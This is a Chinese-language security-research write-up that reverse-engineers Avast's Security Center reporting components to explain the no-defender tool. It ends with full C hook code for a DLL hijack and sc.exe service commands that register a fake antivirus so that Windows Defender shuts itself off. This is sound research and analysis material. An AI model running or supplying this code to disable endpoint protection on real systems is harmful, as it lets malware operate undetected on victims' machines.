近几年随着 Windows 越来越重视系统安全,Windows Defender 已经从最开始的杀毒软件发展为如今的端点检测和响应软件(EDR),并成为 Windows 安全体系的一部分;从系统安全的角度来看,Windows 不建议用户关闭或停用 Defender;从安全研究的角度来看,由于 Defender 提供的默认关闭策略无法完全停止该软件运行,可以说的上是 Windows 「不允许」用户关闭 Defender,这常常就会阻碍和影响对恶意软件的调试分析。
2024年6月,安全研究员 es3n1n 在 Github 分享了开源工具 no-defender,其利用 Windows 安全防护的第三方杀毒软件接管机制,通过逆向分析 Avast 杀毒软件提取出关键组件,编写 hook 代码修改关键组件的执行逻辑,从而实现完全关闭 Defender 软件。
本文将结合 no-defender 源码和 Avast 杀毒软件,研究学习 no-defender 的源码和实现原理。
本文实验环境:
Windows10 专业版22H2 19045.2364
Visual Studio 2022
Avast 24.7.9311.0
no-defender master
随着 Defender 软件在 Windows 安全体系中发挥着越来越关键的作用,Windows 系统逐步加码停用 Defender 的难度,导致互联网上大量的关闭 Defender 的方案都存在局限性或直接失效了,我们这里对其进行简单梳理:
组策略-计算机配置-管理模板-Windows组件-Microsoft Defender 防病毒
选择关闭 Microsoft Defender防病毒-已启动
,目前已无效;注册表-HKEY_LOCAL_MACHINE-SOFTWARE-Policies-Microsoft-Windows Defender
项添加名为DWORD DisableAntiSpyware=1
,目前已无效;Services
中配置 Defender 进程为禁用
,目前已无效;C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2211.5-0\MsMpEng.exe
)的所有者,并重命名为MsMpEng.exe.bak
,可永久关闭 Defender;有些方案能够关闭 Defender,但随后会由 Windows Security Center 自动启动 Defender 进程,这种仍视为无效;
由于操作系统版本、Dedenfer版本均会影响其内部的策略,各方案的适用情况难以确定,本文以Windows10 专业版22H2 19045.2364
测试为准。
Windows Defender 正常工作示意图:
使用「安全模式下损坏Defender二进制」的方案可以永久关闭 Defender,但这种方案具有一定的侵入性和破坏性,而使用「第三方杀毒软件接管」的方案则需要进一步确认该杀毒软件是否提供了完全关闭的功能。
实际上早在 2016 年就有安全研究者分享开源软件 YourAV 工具,该工具通过模仿杀毒软件行为,在安全中心注册了一个杀毒软件,随后 Defender 就会自动退出,达到了关闭 Defender 的目的;但由于近年 Windows 安全体系的层层加码,目前杀毒软件必须经由微软继续签名认证,同时还需使用未公开的 API 和安全中心进行消息同步,导致 YourAV 这种方案也失效了。
no-defender 工具可以说是 YourAV 工具的一个接力,既然目前需要微软签名和未公开的 API,那就直接从第三方杀毒软件(Avast)中逆向分析并提取出来,通过 hook 修改杀毒软件的运行逻辑,调用在安全中心(Windows Security Center)注册杀毒软件的逻辑,同样 Defender 就会自动关闭退出。
no-defender 工具提供的程序如下:
win_x64
├── no-defender-loader.exe // no-defender服务配置工具
├── no-defender-loader.pdb
├── powrprof.dll // no-defender的hook实现
├── powrprof.pdb
├── wsc.dll // avast的wsc通信核心组件
└── wsc_proxy.exe // avast的wsc通信程序
按照 README 运行工具如下:
在安全中心中可以看到 no-defender 已经注册成功,Defender 自动退出如下:
由于 no-defender 在一定程度上影响了 Windows 的安全策略,Github 官方于 2024.06.08 对 no-defender 仓库发出 DMCA 下架政策,删除了仓库所有数据内容,如下:
通过 no-defender 工具的源码我们可以清晰的理解其执行流程,但要进一步理解其原理则需要从 Avast 逆向分析开始说起。
Avast是位于捷克布拉格的 AVAST Software a.s. 公司于1988年首次发行的杀毒软件,软件名取自「Anti-Vzzirus-Advanced-Set」,即「高级杀毒软件」;其提供家用用途的免费版本以及企业和专业用户的付费版本,被全球用户广泛使用。
在 Avast 官网下载程序并安装,如下:
安装完毕后可以在安全中心中看到 Avast 已经接管了杀毒软件功能,Defender 自动退出,如下:
Windows操作系统和安全防护软件之间的协同工作,得益于安全中心(Security Center)服务,如下:
安全防护软件通过wscsvc
服务提供的 API 向 Windows 系统通知、报告自身的运行状态,随后由 Windows 系统调整安全策略,以保证持续的安全防护功能;wscsvc
服务除了能够注册防病毒软件,还可以注册防火墙、防间谍等软件。
在 Avast 的软件实现中,将与wscsvc
服务通信的部分封装为一个单独的服务AvastWscReporter
,如下:
那么我们可以整理出 Avast 和 Windows 安全中心的通信关系如下:
根据服务路径找到其关键文件wsc_proxy.exe
和wsc.dll
如下:
也就是说如果我们可以复用wsc_proxy.exe
和wsc.dll
程序,那么就可以向 Windows 安全中心注册任意的杀毒软件软件,从而关闭 Defender 软件。
首先分析wsc_proxy.exe
程序,其逻辑非常简单,主函数中只有加载wsc.dll
文件并调用run()
函数的逻辑,如下:
随后跟入wsc.dll
程序,在该动态链接库的dllmain()
函数中仅完成一些初始化的工作,其导出函数如下:
而核心逻辑主要在run()
函数下,跟入函数run() => sub_18004A2E0() => sub_180048000()/service_proc()
,可以看到wsc.dll
首先对一些文件对象(如:\\wsc.log
和WscReporter
等)进行初始化,如下:
随后在sub_180194020()
函数对ASW*
文件对象进行初始化,若文件打开失败则返回错误sd is not loaded
并退出,如下:
在一切准备就绪后,调用StartServiceCtrlDispatcherW
系统启动服务,绑定的服务主函数为sub_180047800()/service_proc()
,如下:
跟入服务主函数sub_180047800()/service_proc()
中,其主要逻辑为首先使用CreateThread()
系统调用启动了sub_18002CB20()
线程,随后使用RpCServerRegisterIfEx
系统调用注册启动了 RPC 服务器,如下:
首先我们来分析 RPC 服务器,根据_RPC_SERVER_INTERFACE_T
定义逆向分析unk_1802BE3C0
结构体,可找到 RPC 处理函数sub_18002A590()
:
typedef struct _RPC_SERVER_INTERFACE_T {
UINT Length;
RPC_IF_ID InterfaceId;
RPC_IF_ID TransferSyntax;
(RPC_DISPATCH_TABLE*) DispatchTable;
UINT RpcProtseqEndpointCount;
PRPC_PROTSEQ_ENDPOINT_T RpcProtseqEndpoint;
RPC_MGR_EPV PTR_T DefaultManagerEpv;
(MIDL_SERVER_INFO*) InterpreterInfo;
UINT Flags ;
} RPC_SERVER_INTERFACE_T, PTR_T PRPC_SERVER_INTERFACE_T;
当接收到 RPC 请求后将调用该函数sub_18002A590()/s_wscrpc_update()
,该函数读取请求字符串并将其转换为二进制格式,随后通过sub_18002B0D0()
存入qword_1803E3098
队列中,然后设置hHandle
多线程信号量如下:
而sub_18002CB20()
线程则用于实际处理队列中的任务,跟入到sub_18002CB20() => sub_18002A090()/queue_worker()
线程内部,while(1)
循环中首先等待hHandle
多线程信号量,当接收到信号量后从qword_1803E3098
队列中获取任务,如下:
获取到任务后,调用sub_180029FB0()/process_item()
处理该任务,其内部调用sub_180046D80()
函数根据 RPC 请求中的配置向 Windows 安全中心同步杀毒软件的自身状态,如下:
逆向分析到这里wsc.dll
的功能比较清晰了,最后一个关键点是 RPC 服务器接收的数据是什么样子的?使用双机内核调试并在sub_18002A590()/s_wscrpc_update()
函数处打下断点(使用双机内核调试绕过安全软件的 PPL 进程保护,否则无法进行动态调试),在 Avast 中尝试打开和关闭安全防护功能,如下:
随后在 WinDBG 中关注sub_18002A590()/s_wscrpc_update()
函数断点,可以看到传入的 RPC 请求数据为/svc /update /av_as /state: snoozed /signatures: up_to_date
,如下:
想得到更为详细的数据说明,我们可以通过逆向分析 RPC 客户端来获取;从_RPC_SERVER_INTERFACE_T
中找到 16 位的RPC_IF_ID
,使用 PowerShell 将其转换为 UUID,随后使用RPCMon.exe
工具监控和过滤所有的 RPC 请求,可以找到发起 RPC 请求的客户端为AvastSvc
,如下:
随后再逆向分析AvastSvc
即可,我们这里不再进行拓展。
我们整理一下wsc.dll
的关键执行流程如下:
有了以上逆向基础,我们就可以构建no-defender
工具的代码了。
按照 Avast 的设计wsc_proxy.exe
和wsc.dll
应该作为服务注册运行,首先我们应考虑让服务正常的运行起来;在wsc.dll
服务的初始化过程中会使用CreateFileW
尝试访问ASW*
文件对象,参考原作者采用 hook 的方式劫持CreateFileW
返回魔数<HANDLE>1337
进行修复,随后wsc.dll
即可正常完成初始化代码,服务成功运行;
随后我们尝试去触发process_item()
函数向 Windows 安全中心报告杀毒软件的状态;使用 hook 方式修改queue_worker
函数,在该函数入口前调用s_wscrpc_update()
,传入 RPC 请求数据如下:
# 开启安全防护
/svc /update /av_as /state:on /signatures:up_to_date
# 关闭安全防护
/svc /update /av_as /state:off /signatures:up_to_date
随后s_wscrpc_update()
函数会转化 RPC 请求数据转换为内部的 Task 并存入队列中,当执行原queue_worker
函数时,将获取到该任务并进行处理。
我们这里使用MinHook
框架,参考原作者劫持powrprof.dll
实现代码注入,因此构建代码 dllmain.c如下:
#include <Windows.h>
#include <stdint.h>
#include "MinHook.h"
#pragma warning(disable: 4996)
#define QUEUE_WORKER_ADDRESS 0x2A090
#define S_WSCRPC_UPDATE_ADDRESS 0x2A590
typedef NTSTATUS(*CALLNTPOWERINFORMATION) (POWER_INFORMATION_LEVEL, PVOID, ULONG, PVOID, ULONG);
typedef HANDLE(*CREATEFILEW) (LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
typedef RPC_STATUS(*I_RPCBINDINGINQLOCALCLIENTPID) (RPC_BINDING_HANDLE, unsigned long*);
typedef int64_t(*QUEUE_WORKER) ();
typedef void (*S_WSCRPC_UPDATE) (const wchar_t*, const bool);
CREATEFILEW OriginalCreateFileW = NULL;
I_RPCBINDINGINQLOCALCLIENTPID OriginalI_RpcBindingInqLocalClientPID = NULL;
QUEUE_WORKER Originalqueue_worker = NULL;
CALLNTPOWERINFORMATION OriginalCallNtPowerInformation = NULL;
int64_t wsc_base = 0x0;
// "CallNtPowerInformation()" function proxy
__declspec(dllexport) NTSTATUS WINAPI CallNtPowerInformation(POWER_INFORMATION_LEVEL InformationLevel, PVOID InputBuffer, ULONG InputBufferLength,
PVOID OutputBuffer, ULONG OutputBufferLength) {
return OriginalCallNtPowerInformation(InformationLevel, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength);
}
// hook "CreateFileW", return magic number "1337" if lpFileName startwith "asw"
HANDLE WINAPI HookCreateFileW(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile) {
char buffer[1024] = { 0 };
wcstombs(buffer, lpFileName, 1024);
if (strstr(strlwr(buffer), "asw") == NULL) {
return OriginalCreateFileW(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile);
}
return (HANDLE)1337;
}
// hook "queue_worker", manually addr queue-task at the function entry
int64_t Hookqueue_worker() {
wchar_t payload[1024] = { 0 };
mbstowcs(payload, "/svc /update /av_as /state:on /signatures:up_to_date", 1024);
S_WSCRPC_UPDATE s_wscrpc_update = (S_WSCRPC_UPDATE)(wsc_base + S_WSCRPC_UPDATE_ADDRESS);
s_wscrpc_update(payload, 1);
return Originalqueue_worker();
}
// hook "I_RpcBindingInqLocalClientPID()", return Pid from "GetCurrentProcessId()"
RPC_STATUS RPC_ENTRY HookI_RpcBindingInqLocalClientPID(RPC_BINDING_HANDLE Binding, unsigned long* Pid) {
*Pid = GetCurrentProcessId();
return 0;
}
void* load_func_from_library(char* dllname, char* funcname) {
HMODULE dll = LoadLibrary(dllname);
if (dll == NULL) {
return 0;
}
void* func = GetProcAddress(dll, funcname);
if (func == NULL) {
return 0;
}
return func;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
if (ul_reason_for_call != DLL_PROCESS_ATTACH) {
return TRUE;
}
// get original "CallNtPowerInformation" address
OriginalCallNtPowerInformation = load_func_from_library("C:\\Windows\\System32\\powrprof.dll", "CallNtPowerInformation");
// get "wsc.dll" base address
wsc_base = (int64_t)LoadLibrary("wsc.dll");
// hook setup
if (MH_Initialize() != MH_OK) {
return 0;
}
void* CreateFileW_address = load_func_from_library("Kernel32.dll", "CreateFileW");
void* I_RpcBindingInqLocalClientPID_address = load_func_from_library("Rpcrt4.dll", "I_RpcBindingInqLocalClientPID");
MH_CreateHook(CreateFileW_address, HookCreateFileW, (LPVOID*)&OriginalCreateFileW);
MH_CreateHook(I_RpcBindingInqLocalClientPID_address, HookI_RpcBindingInqLocalClientPID, (LPVOID*)&OriginalI_RpcBindingInqLocalClientPID);
int64_t addr = wsc_base + QUEUE_WORKER_ADDRESS;
MH_CreateHook((void*)addr, Hookqueue_worker, (LPVOID*)&Originalqueue_worker);
if (MH_EnableHook(MH_ALL_HOOKS) != MH_OK) {
return 0;
}
return TRUE;
}
成功构建powrprof.dll
hook 项目后,我们拷贝wsc_proxy.exe / wsc.dll
至同目录下,使用管理员权限打开 PowerShell,注册服务如下:
# 创建 test 服务,并设置 wsc_name=test
> sc.exe create test type= own start= demand binpath= '\"C:\Users\john\Desktop\workspace\powrprof\x64\Debug\wsc_proxy.exe\" /runassvc /rpcserver /wsc_name:\"test\"'
# 查询服务信息
> sc.exe queryex test
执行如下:
使用sc.exe start test
启动服务,查看 Windows 安全中心可以看到「test」防护软件已经运行,如下:
需要注意的是wsc.dll
服务内部没有提供关闭服务的逻辑,我们这里可以通过重启系统来停止「test」服务,也可以像原作者一样在 hook 代码中选择合适的位置主动退出。
除此之外,在 hook 代码中我们对于CreateFileW
无法访问的ASW*
文件对象直接返回<HANDLE>1337
,理论访问到该 HANDLE 就会出错;进一步逆向分析wsc.dll
可以找到有多处DeviceIoControl
系统调用访问该 HANDLE,在目前版本下访问出错也不会影响服务的正常运行,所以我们的代码未对其进行处理,这里也可以参考原作者对DeviceIoControl
函数进行 hook 修补。